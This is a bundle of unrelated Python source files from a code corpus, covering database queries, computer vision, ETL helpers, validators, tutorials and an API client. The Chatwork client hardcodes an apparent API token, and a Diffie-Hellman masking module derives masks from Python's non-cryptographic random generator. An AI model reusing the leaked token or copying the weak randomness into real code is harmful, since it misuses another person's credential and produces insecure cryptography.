+{"seq_id":"473835245","text":"from common.database.models import Screen, ScreenNode, Test   #  common.database.models\nfrom common.database.repos.BaseRepo import BaseRepo\nfrom sqlalchemy.sql import text\nfrom app import db\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass ScreenRepo(BaseRepo):\n    def __new__(cls):  ## Singletone CTOR\n        if not hasattr(cls, 'instance'):\n            cls.instance = super(ScreenRepo, cls).__new__(cls)\n        return cls.instance\n\n    def _class(self):\n        return Screen\n\n    def getAllByTestRunId(self, _test_run_id):\n        try:\n            screens = Screen.query.filter_by(test_run_id=_test_run_id).all()\n        except Exception as e:\n            return None, e\n        else:\n            return screens, None\n\n    def getAllByTestRunIdOrderAsc(self, _test_run_id):\n        try:\n            screens = Screen.query.filter_by(test_run_id=_test_run_id).order_by(Screen.id.asc()).all()\n        except Exception as e:\n            return None, e\n        else:\n            return screens, None\n\n    def geByNameAndTestRunId(self, _name, _test_run_id):\n        try:\n            screen = Screen.query.filter_by(name=_name, test_run_id=_test_run_id).first()\n        except Exception as e:\n            return None, e\n        else:\n            return screen, None\n\n\n    def getAllUniqueScreensByApplicationId(self, application_id):\n\n        params = {\"application_id\": application_id}\n\n\n        #Get The screens from the last autonomous test_run\n        try:\n            query = text(\"\"\"SELECT id, name, image_url, xml_dom, elements FROM screen where screen.test_run_id in\n             (SELECT id from test_run\n                    WHERE test_run.autonomous=true\n                    and test_run.master_test=true\n                    and test_run.state='Completed'\n                    and test_run.test_id in (select tests.id from tests where tests.application_id=:application_id)\n                    ORDER BY test_run.id DESC LIMIT 1)\n                union\n                select id, name, image_url, xml_dom, elements from screen_node where id in\n                    (SELECT max(screen_node.id) as max_id -- screen_node.name as sname,\n                        FROM screen_node LEFT OUTER JOIN tests ON tests.id = screen_node.test_id\n                        WHERE tests.application_id=:application_id\n                        group by screen_node.name)\n                    and name not in\n                    (\n                       SELECT name FROM screen where screen.test_run_id in\n                         (SELECT id from test_run\n                            WHERE test_run.autonomous=true\n                            and test_run.master_test=true\n                            and test_run.state='Completed'\n                            and test_run.test_id in (select tests.id from tests where tests.application_id=:application_id)\n                        ORDER BY test_run.id DESC LIMIT 1)\n                    )\"\"\")\n            results = db.engine.execute(query, params)\n            logger.warning(\"Proxy column names {n}\".format(n=results._metadata.keys))\n        except Exception as e:\n            logger.warning(\"getAllUniqueScreensByApplicationId == Exception caught {ex}\".format(ex=e))\n            return None, e\n\n\n        #for i in results:\n            #_id, _name, _image_url, _, _, _source, _xml_dom, _elements, _logs, _ = i\n            #print(\"NAME  OF SCR \", _name)\n\n\n\n        \"\"\"\n        Get all the unique screens by distinct name generate by\n        all the autonomous test runs for  any given application\n\n        :param application_id: Int\n        :return: ResultProxy object\n        \"\"\"\n        #params = {\"application_id\": application_id}\n        ##with db.engine.connect() as con:\n        '''\n        try:\n            statement = text(\"\"\"select * from screen where id in\n                                (SELECT max(screen.id) as max_id -- screen.name as sname,\n                                    FROM screen LEFT OUTER JOIN test_run ON test_run.id = screen.test_run_id\n                                    --select * from test_run\n                                    WHERE test_run.autonomous=true\n                                        and test_run.master_test=true\n                                        and test_run.state='Completed'\n                                        and test_run.test_id in (select tests.id from tests where tests.application_id=:application_id)\n                                    group by screen.name)\"\"\")\n            results = db.engine.execute(statement, params)\n            logger.warning(\"Proxy column names {n}\".format(n=results._metadata.keys))\n        except Exception as e:\n            logger.warning(\"getAllUniqueScreensByApplicationId == Exception caught {ex}\".format(ex=e))\n            return None, e\n\n        '''\n\n        return  results, None\n\n\n","sub_path":"database/repos/ScreenRepo.py","file_name":"ScreenRepo.py","file_ext":"py","file_size_in_byte":4823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"45631073","text":"import numpy as np\nimport math\n\ndef accuracy(updated_rankings, seq, snapshot, method):\n    # indices of the active nodes \n    idx = np.where( seq[snapshot+1].clust_memb > 0 )[0]\n    \n    # ground truth to compare with\n    if method == 'PageRank':\n        ground_truth = np.array(seq[snapshot+1].pr.T[idx])\n    elif method == 'GammaPageRank':\n        ground_truth = np.array(seq[snapshot+1].gpr[idx])\n\n    # rankings on the active nodes\n    prediction = np.array(updated_rankings[idx])\n\n    # error in magnitude\n    err_mag = np.linalg.norm( ground_truth - prediction, ord=2 ) / np.linalg.norm( ground_truth, ord=2 )\n\n    # error in angle\n    err_deg = math.degrees( math.acos( np.dot(prediction.T, ground_truth) / (np.linalg.norm(ground_truth, ord=2)*np.linalg.norm(prediction, ord=2)) ) )\n\n    return err_mag, err_deg\n","sub_path":"accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"580048957","text":"import cv2\n\nsrc = cv2.imread(\"33.jpg\")\ngrayImg = cv2.cvtColor(src, cv2.COLOR_BGR2GRAY)\n\nfast = cv2.FastFeatureDetector_create(threshold=35)\n# fast.setNonmaxSuppression(False)\nkp = fast.detect(grayImg, None)\nimg2 = cv2.drawKeypoints(src, kp, None, (0, 0, 255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\nprint('Threshold: ', fast.getThreshold())\nprint('nonmaxSuppression: ', fast.getNonmaxSuppression())\nprint('neighborhood: ', fast.getType())\nprint('Total Keypoints with nonmaxSuppression: ', len(kp))\n#\ncv2.imshow('fast_true', img2)\n#\n# fast.setNonmaxSuppression(False)\n# kp = fast.detect(grayImg, None)\n#\n# print('Total Keypoints without nonmaxSuppression: ', len(kp))\n#\n# img3 = cv2.drawKeypoints(src, kp, None, (0, 0, 255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n# cv2.imshow('fast_false', img3)\n\ncv2.waitKey()","sub_path":"OpenCV/feature_fast.py","file_name":"feature_fast.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"598829641","text":"import nacl.bindings as nb\nimport random\nimport pandas as pd\nimport numpy as np\nimport math\n\ndef keygeneration(n, party_i):\n    assert(party_i < n) ## Anton code\n    pkey_list = []\n    skey_list = []\n    for i in range(n):\n        if  i == party_i:\n            pkey_list.append(0)\n            skey_list.append(0)\n        else: \n            pk, sk = nb.crypto_kx_keypair()\n            pkey_list.append(pk)\n            skey_list.append(sk)\n    return  pkey_list,skey_list \n\ndef keyexchange(n, party_i, my_pkey_list, my_skey_list, other_pkey_list):\n    common_key_list = []\n    for i in range(n):\n        #Generate DH (common) keys \n        if i == party_i:\n            common_key_list.append(0)\n        else:\n            if i > party_i:\n                common_key_raw, _ = nb.crypto_kx_client_session_keys(my_pkey_list[i], my_skey_list[i], other_pkey_list[i])\n            else:  \n                _, common_key_raw = nb.crypto_kx_server_session_keys(my_pkey_list[i], my_skey_list[i], other_pkey_list[i])\n            #Hash the common keys\n            common_key = int.from_bytes(nb.crypto_hash_sha256(common_key_raw), byteorder='big')\n            common_key_list.append(common_key)\n    return common_key_list\n\n\n#PRG\n\ndef randomize( r, modulo, clientsign):\n        # Call the double lenght pseudorsndom generator\n        random.seed(r)\n        rand            = random.getrandbits(256*2)\n        rand_b_raw      = bin(rand)\n        nr_zeros_append = 256 - (len(rand_b_raw) - 2)\n        rand_b          = '0' * nr_zeros_append + rand_b_raw[2:]\n        # Use first half to mask the inputs and second half as the next seed to the pseudorsndom generator\n        R = int(rand_b[0:256], 2)\n        r = int(rand_b[256:] , 2)\n        return r, R \n\n\ndef randomize_all(party_i, common_key_list, modulo):\n    \n    for i in range(len(common_key_list)):\n        if i == party_i:\n             continue\n        clientsign = 1 if i > party_i else -1\n        common_key_list[i], client = randomize( common_key_list[i], modulo, clientsign)\n        \n    return common_key_list, client","sub_path":"src/utils/diffie_hellman.py","file_name":"diffie_hellman.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"494320647","text":"import csv\n\ngas=[]\ndata_e=[\"value\",\"country_or_area\"]\nyear=\"2010\"\nwith open(\"greenhouse_gas_inventory_data_data.csv\") as csvFile:\n    reader1 =csv.reader(csvFile)\n    for row in reader1:\n            if row[2] not in data_e and row[1] in year: \n                gas.append([float(row[-2]), row[0]])\n    gas.sort(reverse=True)\n\nprint(gas[:5])\n\n\n\n\npop=[]\nv=[\"--\",\"NA\"]\nco_e=[\"World\",\"Country\",\"Asia & Oceania\",\"Africa\",\"Europe\",\"Central & South America\", \"North America\",\"Eurasia\",\"Middle East\"]\n\n\nwith open(\"populationbycountry19802010millions.csv\") as csvFile:\n    reader =csv.reader(csvFile)\n    for row in reader:\n        if row[-1] not in v and row[0] not in co_e:\n            pop.append([float(row[-1]), row[0]])\n    \n    pop.sort(reverse=True)\n\n    print(pop[:5])\n\n\n\n\n\n\n","sub_path":"fileReader.py","file_name":"fileReader.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"403649824","text":"#!/usr/bin/env python3\n\n# ------\n# Sum.py\n# ------\n\nfrom functools import reduce\nfrom operator  import add\n\nimport sys\nimport time\n\ndef sum_while (a) :\n    i = 0\n    s = 0\n    while i != len(a) :\n        s += a[i]\n        i += 1\n    return s\n\ndef sum_for_range (a) :\n    s = 0\n    for i in range(len(a)) :\n        s += a[i]\n    return s\n\ndef sum_while_iter (a) :\n    p = iter(a)\n    s = 0\n    try :\n        while True :\n            s += next(p)\n    except StopIteration :\n        pass\n    return s\n\ndef sum_for_in (a) :\n    s = 0\n    for w in a :\n        s += w\n    return s\n\ndef sum_reduce_lambda (a) :\n    return reduce(lambda x, y : x + y, a, 0)\n\ndef sum_reduce_operator (a) :\n    return reduce(add, a, 0)\n\ndef test_1 (f, c) :\n    assert f(c())          == 0\n    assert f(c([2]))       == 2\n    assert f(c([2, 3]))    == 5\n    assert f(c([2, 3, 4])) == 9\n\ndef test_2 (f) :\n    print(f.__name__)\n    a = 500 * [1]\n    b = time.clock()\n    assert f(a) == 500\n    e = time.clock()\n    print(\"%5.3f\" % ((e - b) * 1000), \"milliseconds\")\n    print()\n\nprint(\"Sum.py\")\nprint(sys.version)\nprint()\n\ntest_1(sum_while, list)\ntest_1(sum_while, tuple)\n#test_1(sum_while, set) # TypeError: 'set' object does not support indexing\n\ntest_1(sum_for_range, list)\ntest_1(sum_for_range, tuple)\n#test_1(sum_for_range, set) # TypeError: 'set' object does not support indexing\n\ntest_1(sum_while_iter, list)\ntest_1(sum_while_iter, tuple)\ntest_1(sum_while_iter, set)\n\ntest_1(sum_for_in, list)\ntest_1(sum_for_in, tuple)\ntest_1(sum_for_in, set)\n\ntest_1(sum_reduce_lambda, list)\ntest_1(sum_reduce_lambda, tuple)\ntest_1(sum_reduce_lambda, set)\n\ntest_1(sum_reduce_operator, list)\ntest_1(sum_reduce_operator, tuple)\ntest_1(sum_reduce_operator, set)\n\ntest_1(sum, list )\ntest_1(sum, tuple)\ntest_1(sum, set)\n\ntest_2(sum_while)\ntest_2(sum_for_range)\ntest_2(sum_while_iter,)\ntest_2(sum_for_in)\ntest_2(sum_reduce_lambda)\ntest_2(sum_reduce_operator)\ntest_2(sum)\n\nprint(\"Done.\")\n\n\"\"\"\nSum.py\n3.3.3 (default, Jan 19 2014, 09:53:07)\n[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.2.79)]\n\nsum_while\n0.206 milliseconds\n\nsum_for_range\n0.085 milliseconds\n\nsum_while_iter\n0.126 milliseconds\n\nsum_for_in\n0.053 milliseconds\n\nsum_reduce_lambda\n0.134 milliseconds\n\nsum_reduce_operator\n0.068 milliseconds\n\nsum\n0.013 milliseconds\n\nDone.\n\"\"\"\n","sub_path":"examples/Sum.py","file_name":"Sum.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"351660684","text":"import cv2\nimport os\nimport tensorflow as tf\nfrom os import listdir\nfrom os.path import isfile, join\nimport numpy as np\nfrom PIL import Image\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import visualization_utils as vis_util\n\nmodel_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'models/ssd_mobilenet_v11_coco',\n                          'frozen_inference_graph.pb')\nimages_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'images/')\nlabel_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'inference/ssd_mobilenet_v11_coco',\n                          'label_map.pbtxt')\nnum_classes = 10\n\n\ndef get_images_list(path):\n    return [f for f in listdir(path) if isfile(join(path, f))]\n\n\nif __name__ == \"__main__\":\n\n    images = get_images_list(images_dir)\n\n    detection_graph = tf.Graph()\n    with detection_graph.as_default():\n        od_graph_def = tf.GraphDef()\n        with tf.gfile.GFile(model_path, 'rb') as fid:\n            serialized_graph = fid.read()\n            od_graph_def.ParseFromString(serialized_graph)\n            tf.import_graph_def(od_graph_def, name='')\n\n    label_map = label_map_util.load_labelmap(label_path)\n    categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=num_classes,\n                                                                use_display_name=True)\n    category_index = label_map_util.create_category_index(categories)\n\n    with tf.Session(graph=detection_graph) as sess:\n        image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n        detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n        detection_classes = detection_graph.get_tensor_by_name('detection_classes:0')\n        num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n        detection_scores = detection_graph.get_tensor_by_name('detection_scores:0')\n\n        for image_name in images:\n            image = cv2.imread(images_dir + image_name)\n\n            image_np = np.expand_dims(image, axis=0)\n            (boxes, scores, classes, num) = sess.run(\n                [detection_boxes, detection_scores, detection_classes, num_detections],\n                feed_dict={image_tensor: image_np})\n            image_np = np.squeeze(image_np, axis=0)\n            vis_util.visualize_boxes_and_labels_on_image_array(\n                image_np,\n                np.squeeze(boxes),\n                np.squeeze(classes).astype(np.int32),\n                np.squeeze(scores),\n                category_index,\n                use_normalized_coordinates=True,\n                line_thickness=8)\n\n            cv2.imshow('object_detection', image)\n            # Exit Option\n            if cv2.waitKey(0) & 0xFF == ord('q'):\n                break\n","sub_path":"image_test_network.py","file_name":"image_test_network.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"367917083","text":"import collections\nimport json\nimport boto3\nimport tempfile\nimport zipfile\nimport shutil\nimport string\nimport os\nimport subprocess\n\n_glue_client = boto3.client('glue', 'eu-west-1')\n_s3_client = boto3.client('s3')\n_s3_resource = boto3.resource('s3')\n\ndef _get_git_revision_hash():\n    return subprocess.check_output(['git', 'rev-parse', 'HEAD']).decode('utf-8').replace('\\n','')\n\ndef _get_git_revision_short_hash():\n    return subprocess.check_output(['git', 'rev-parse', '--short', 'HEAD']).decode('utf-8').replace('\\n','')\n\n\n# https://gist.github.com/angstwad/bf22d1822c38a92ec0a9\ndef _dict_merge(dct, merge_dct):\n    \"\"\" Recursive dict merge. Inspired by :meth:``dict.update()``, instead of\n    updating only top-level keys, dict_merge recurses down into dicts nested\n    to an arbitrary depth, updating keys. The ``merge_dct`` is merged into\n    ``dct``.\n    :param dct: dict onto which the merge is executed\n    :param merge_dct: dct merged into dct\n    :return: None\n    \"\"\"\n    for k, v in merge_dct.items():\n        if (k in dct and isinstance(dct[k], dict)\n                and isinstance(merge_dct[k], collections.Mapping)):\n            _dict_merge(dct[k], merge_dct[k])\n        else:\n            dct[k] = merge_dct[k]\n\n# Read json file\ndef read_json(filename) :\n    with open(filename) as json_data:\n        data = json.load(json_data)\n    return data\n\n# Write json file\ndef write_json(data, filename) :\n    with open(filename, 'w+') as outfile:\n        json.dump(data, outfile, indent=4, separators=(',', ': '))\n\ndef _end_with_slash(string) :\n    if string[-1] != '/' :\n        return string + '/'\n    else :\n        return string\n\ndef _remove_final_slash(string) :\n    if string[-1] == '/' :\n        return string[:-1]\n    else:\n        return string\n\n# Used by both classes (Should move into another module)\ndef _validate_string(s, allowed_chars = \"_\") :\n    if s != s.lower() :\n        raise ValueError(\"string provided must be lowercase\")\n\n    invalid_chars = string.punctuation\n\n    for a in allowed_chars :\n        invalid_chars = invalid_chars.replace(a, \"\")\n\n    if any(char in invalid_chars for char in s) :\n        raise ValueError(\"punctuation excluding ({}) is not allowed in string\".format(allowed_chars))\n\ndef _get_file_from_file_path(file_path) :\n    return file_path.split('/')[-1]\n\ndef _unnest_github_zipfile_and_return_new_zip_path(zip_path):\n    \"\"\"\n    When we download a zipball from github like this one:\n    https://github.com/moj-analytical-services/gluejobutils/archive/master.zip\n\n    The python lib is nested in the directory like:\n    gluejobutils-master/gluejobutils/py files\n\n    The glue docs say that it will only work without this nesting:\n    docs.aws.amazon.com/glue/latest/dg/aws-glue-programming-python-libraries.html\n\n    This function creates a new, unnested zip file, and returns the path to it\n\n    \"\"\"\n\n    original_file_name = os.path.basename(zip_path)\n    original_dir = os.path.dirname(zip_path)\n    new_file_name = original_file_name.replace(\".zip\", \"_new\")\n\n    with tempfile.TemporaryDirectory() as td:\n        myzip = zipfile.ZipFile(zip_path, 'r')\n        myzip.extractall(td)\n        nested_folder_to_unnest = os.listdir(td)[0]\n        nested_path = os.path.join(td, nested_folder_to_unnest)\n        output_path = os.path.join(original_dir, new_file_name)\n        final_output_path = shutil.make_archive(output_path, 'zip', nested_path)\n\n    return final_output_path\n","sub_path":"etl_manager/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"85425437","text":"#for loops\r\n#\r\n# l1 = [\"jack\", \"jill\", \"mark\", \"paul\"]\r\n#\r\n# for name in l1:\r\n#     print(name)\r\n\r\n\r\n# l1 = [[\"jack\", 1], [\"jill\", 2], [\"mark\", 7], [\"paul\", 9]]\r\n#\r\n# for name, wife in l1:\r\n#     print(name, \"number of wives\", wife)\r\n#\r\n# d1 = dict(l1)\r\n# for name in d1:\r\n#     print(name)\r\n# for name, wives in d1.items():\r\n#     print(name, \"number of wives\", wives)\r\n\r\nl1 = [1, 2, \"jack\", \"jill\", 7, 11]\r\n\r\nfor item in l1:\r\n    if str(item).isnumeric() and item > 6:\r\n        print(item)\r\n\r\n\r\n","sub_path":"tut12.py","file_name":"tut12.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"143856140","text":"#!/bin/python\n# Maze Escape Player, by Matthew Schieber\n# complete player, which employs the \"keep right hand on wall\" strategy\n# template for use on hackerrank.com/challenges/maze-escape\n\n\ndef move_me(board):\n    \n    m = len(board)\n    n = len(board[0])\n    posr = 1\n    posc = 1\n    \n    # go to exit\n    target = False\n    for i in range(m):\n        for j in range(n):\n            if(board[i][j] == 'e'):\n                target = True\n                goal_x, goal_y = i, j\n    \n    if(target):          \n            if(posr > goal_x):\n                print (\"UP\")\n            elif(posr < goal_x):\n                print (\"DOWN\")\n            elif(posc > goal_y):\n                print (\"LEFT\")\n            elif(posc < goal_y):\n                print (\"RIGHT\")\n\n    else:\n        #:    #\n        #:  - b\n        if(board[0][1] == \"#\" and board[1][0] == \"-\"):\n            print (\"LEFT\")\n        \n        #:  \n        #:  # b\n        #:    -  \n        elif(board[1][0] == \"#\" and board[2][1] == '-'):\n            print (\"DOWN\")\n               \n        #:    -\n        #:    b #\n        #:      \n        elif(board[0][1] == '-' and board[1][2] == '#'):\n            print (\"UP\")\n                    \n        #:    \n        #:    b -\n        #:    #  \n        elif(board[1][2] == '-'):\n            print (\"RIGHT\")\n        \n        elif(board[1][0] == '-'):\n            print (\"LEFT\")\n                \n           \n           \n# Tail starts here\nif __name__ == \"__main__\":\n    pos = [int(i) for i in input().strip().split()]\n    board = [[j for j in input().strip()] for i in range(3)]\n    move_me(board)\n","sub_path":"maze-escape/player_complete.py","file_name":"player_complete.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"404314042","text":"\"\"\"\nThis module is made to create validators in the field\n\"\"\"\nimport re\nimport warnings\nfrom datetime import datetime\nEmailRegex = r'[^@]+@[^@]+\\.[^@]+'\nUrlRegex = (\n        r'^(?:http|ftp)s?://' # http:// or https://\n        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)|' #domain...\n        r'localhost|' #localhost...\n        r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})' # ...or ip\n        r'(?::\\d+)?' # optional port\n        r'(?:/?|[/?]\\S+)$')\nurl_regex = re.compile(UrlRegex, re.IGNORECASE)\nemail_reg = re.compile(EmailRegex, re.IGNORECASE)\n\ntry:\n    from email_validator import validate_email,EmailNotValidError\nexcept ImportError as e:\n    warnings.warn(\"Email Validator is not found\"\n        \"Please install it using\"\n        \"pip3 install email_validator\")\n    def validate_email(email):\n        if not email_reg.match(email):\n            raise Invalid(\"Email is Not Valid\")\n\nclass Invalid(ValueError):\n    \"\"\"\n    This Exception is General Exception used to raise when Data is invalid,\n    Not a valid Type etc.\n\n    :param message: Message you want to print in error\n    :param args: any\n    :param kwargs: any\n    :type message: str\n    \"\"\"\n    def __init__(self, message, *args, **kwargs):\n        super(Invalid, self).__init__(message, *args, **kwargs)\n\n\nclass Validator(object):\n    \"\"\"\n    This is core of each validator class\n\n    :param message: Message to be raised when any invalidation occours\n    :type message: str\n    \"\"\"\n\n    def __init__(self, message=None):\n        \"\"\"\n        This is The basic Validator\n\n        :param message: The message you want to get in template engine\n        \"\"\"\n        if message is not None:\n            self.message = message\n\nclass Data(Validator):\n\n    \"\"\"\n    This is Data field to check that weather data\n    is provided or not\n\n    :param message: Message to be raised when any invalidation occours\n    :type message: str\n    \"\"\"\n\n    def __call__(self, obj, field):\n        \"\"\"This is called with object and field\n        of object\n\n        Args:\n            obj (dir): directory of enclosing field\n            field : element of object\n\n        Raises:\n            Invalid: if data is not provided\n        \"\"\"\n        data = field.data\n        if isinstance(data, str) or isinstance(data, int) or isinstance(data, float):\n            self.data = str(field.data)\n            if not self.data.strip():\n                raise Invalid(\"data is not valid\")\n        if isinstance(data, list) or isinstance(data, dict):\n            self.data = field.data\n            if not self.data:\n                Invalid(\"data is not valid\")\n        \n\nclass Length(Validator):\n    \"\"\"\n    This validator is used to check the minimum and maximum Length of data\n    This will work with str, int , float not with array length\n\n    :param min_val: minimum length\n    :param max_val: maximum length\n    :param message: Message to be raised when any invalidation occours\n    :type message: str\n    :type min_val: int\n    :type max_val: int\n    \"\"\"\n    def __init__(self, min_val=-1, max_val=-1, message=None):\n        \"\"\"Overriding Validator Base class\n        \"\"\"\n        super(Length,self).__init__(message)\n        if min_val == -1 and max_val == -1:\n            raise ValueError('At least Provide one of minimum or minimum Value')\n        else:\n            self.min_val = min_val\n            self.max_val = max_val\n\n    def __call__(self, obj, field):\n        self.data = field.data\n        if (isinstance(self.data, (str, int, float))):\n            self.data = str(self.data).strip()\n        else:\n            raise Invalid(\"Not a Valid Type\")\n        if (len(self.data) < self.min_val or \n                self.max_val!=-1 and len(self.data) > self.max_val):\n            raise Invalid(\"Length is not appopriate\")\n\n\nclass Email(Validator):\n\n    \"\"\"\n    The Email Validator is used to validate Email which use dependency of python\n    email_validator to validate email if not installed on machiene it will used\n    standard regex to validate email\n\n    :param message: Message to be raised when any invalidation occours\n    :type message: str\n    \"\"\"\n\n    def __call__(self, obj, field):\n        \"\"\"Call when used to validate this field\n\n        Args:\n            obj (dir): An object containing Validator\n            field (dir): field of object\n        \"\"\"\n        self.data = field.data\n        try:\n            validate_email(self.data)\n        except EmailNotValidError:\n            raise Invalid(str(self.data) + \"is not valid\")\n\n\nclass URL(Validator):\n    \"\"\"\n    The url validator is used to validate url's But it dones not instanciate\n    from Regex class here this is another implementation\n\n    :param message: Message to be raised when any invalidation occours\n    :type message: str\n    \"\"\"\n\n    def __call__(self, obj, field):\n        \"\"\"A Class to validate urls\n\n        Args:\n            obj (object): A dir congaing Validator\n            field (obj): field of object\n        \"\"\"\n        self.data = field.data\n        if not url_regex.match(self.data):\n            raise Invalid(\"Not a valid url\")\n\n\nclass EqualTo(Validator):\n    \"\"\"\n    The EqualTo Validator is used to check if data in our field is\n    same as other field\n\n    :param field: Other field Pass the whole Field\n    :param message: Message to be raised when any invalidation occours\n    :type message: str\n    :type field: Field class\n    \"\"\"\n\n    def __init__(self, field, message=None):\n        super(EqualTo,self).__init__(message)\n        self.other = field\n\n    def __call__(self, obj, field):\n        if hasattr(self.other, \"_data\"):\n            other_data = self.other.data\n        else:\n            self.other(obj)\n            other_data = self.other.data\n        self.data = field.data\n        if self.data != other_data:\n            raise Invalid(\"Unequal Data\")\n\n\nclass Date(Validator):\n    \"\"\"\n    The date field validator is used to validate date field\n    under specific range of min_date and max_date\n\n    :param min_date: minimum date\n    :param max_date: maximum date\n    :param field_format: format of field\n    :param message: message\n    :type min_date: str of year-month-date\n    :type max_date: str of year-month-date\n    :type field_format: Field format %Y-%M-%d is default\n    :type message: str\n    \"\"\"\n\n    def __init__(self, min_date= datetime.min, max_date= datetime.min,field_format=None, message=None ):\n        \"\"\"\n        Overiding Init\n        \"\"\"\n        if field_format is None:\n            self.field_format = \"%Y-%M-%d\"\n        else:\n            self.field_format = field_format\n        super(Date, self).__init__(message)\n        if min_date == datetime.min and max_date == datetime.min:\n            raise ValueError(\"Provide one of min_date or max_dat\")\n        else:\n            self.min_date = self.givedatetime(self.field_format, min_date)\n            self.max_date = self.givedatetime(self.field_format, max_date)\n\n    def __call__(self, obj, field):\n        \"\"\"\n        call the validator just with object containing\n        field and the field object\n\n        :param obj: object containing field\n        :param field: some field object which instantiate Field\n                        which is callable and raises Invalid error\n                        when validated\n        :return:None\n        \"\"\"\n        self.data = field.data\n        try:\n            self.date = datetime.strptime(self.data, self.field_format)\n        except ValueError as e:\n            raise Invalid(e)\n\n        if (self.date < self.min_date or\n                self.max_date != datetime.min and self.date >= self.max_date):\n            raise Invalid(\"date is not bounded\")\n\n    @staticmethod\n    def givedatetime(dateformat, date):\n        if isinstance(date, datetime):\n            return date\n        try:\n            dt = datetime.strptime(date, dateformat)\n            return dt\n        except ValueError as e:\n            raise Invalid(\"cannot Get currect format of date\"\n                \"in setting value of datetime at\")\n\n\nclass Regex(Validator):\n    \"\"\"\n    This is used to validate data in format of regex\n\n    :param regex: regex\n    :param message: Message to be raised when Error occours\n    :type message: str\n    :type regex: str\n    \"\"\"\n\n    def __init__(self, reg, message=None):\n        \"\"\"\n        This is regex class used to validate some field\n        on regex implementation\n        it will not raise invalidation when regex matches\n        fields data\n        \n        Args:\n            reg (regex): Regex\n            message (message, optional): Message you want on Error\n        \"\"\"\n        super(Regex,self).__init__(message)\n        self.regex = re.compile(reg)\n\n    def __call__(self, obj, field):\n        self.data = field.data\n        if not self.regex.match(self.data):\n            raise Invalid(\"it does not match The valid Pattern\")\n            \nclass Right(Validator):\n    \"\"\"\n    This Validator is specific to boolean Field which validates that\n    data is True only\n\n    :param message: message to be raise when error occours\n    :type message: str\n    \"\"\"\n    def __call__(self,obj,field):\n        self.data = field.data\n        if not isinstance(self.data, bool):\n            raise Invalid(\"this field should contain\"\n                \"only boolean type values\")\n\n        if not self.data:\n            raise Invalid(\"field is false\")\n\nclass Wrong(Validator):\n    \"\"\"\n    This Validator is specific to boolean Field which validates that\n    data is False only\n\n    :param message: message to be raise when error occours\n    :type message: str\n    \"\"\"\n\n    def __call__(self,obj,field):\n        self.data = field.data\n        if not isinstance(self.data, bool):\n            raise Invalid(\"this field should contain\"\n                \"only boolean type values\")\n\n        if self.data:\n            raise Invalid(\"field is false\")","sub_path":"json_justify/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":9835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"105770162","text":"import urllib.request\nimport json\nimport pprint\n\n# APIのエンドポイント\nENDPOINT = \"https://api.chatwork.com/v2\"\n\n# APIキー\napikey = \"e1531a1547f378ae47ceb94c4a1ad151\"\n\n# ChatworkのAPIをコールする関数\n# @params path（必須）: APIのパス\n# @params data（任意）: 送信するデータ\ndef api (path, data=None):\n    # 送信データがある場合にはURLエンコードする\n    if data != None:\n        data = urllib.parse.urlencode(data)\n        data = data.encode('utf-8')\n    # APIキーをヘッダーに付与する\n    headers = {\"X-ChatWorkToken\": apikey}\n    # リクエストの生成と送信\n    req = urllib.request.Request(ENDPOINT + path, data=data, headers=headers)\n    with urllib.request.urlopen(req) as res:\n        # API結果\n        result = json.loads(res.read().decode(\"utf-8\"))\n        # レスポンスヘッダ（残利用可能数などが入っている）\n        info = dict(res.info())\n        return result, info\n\nif __name__ == '__main__':\n    # Get My Status.\n    mystatus, info = api(\"/my/status\")\n    print(json.dumps(mystatus, indent=4))","sub_path":"ソース/get_mystatus.py","file_name":"get_mystatus.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
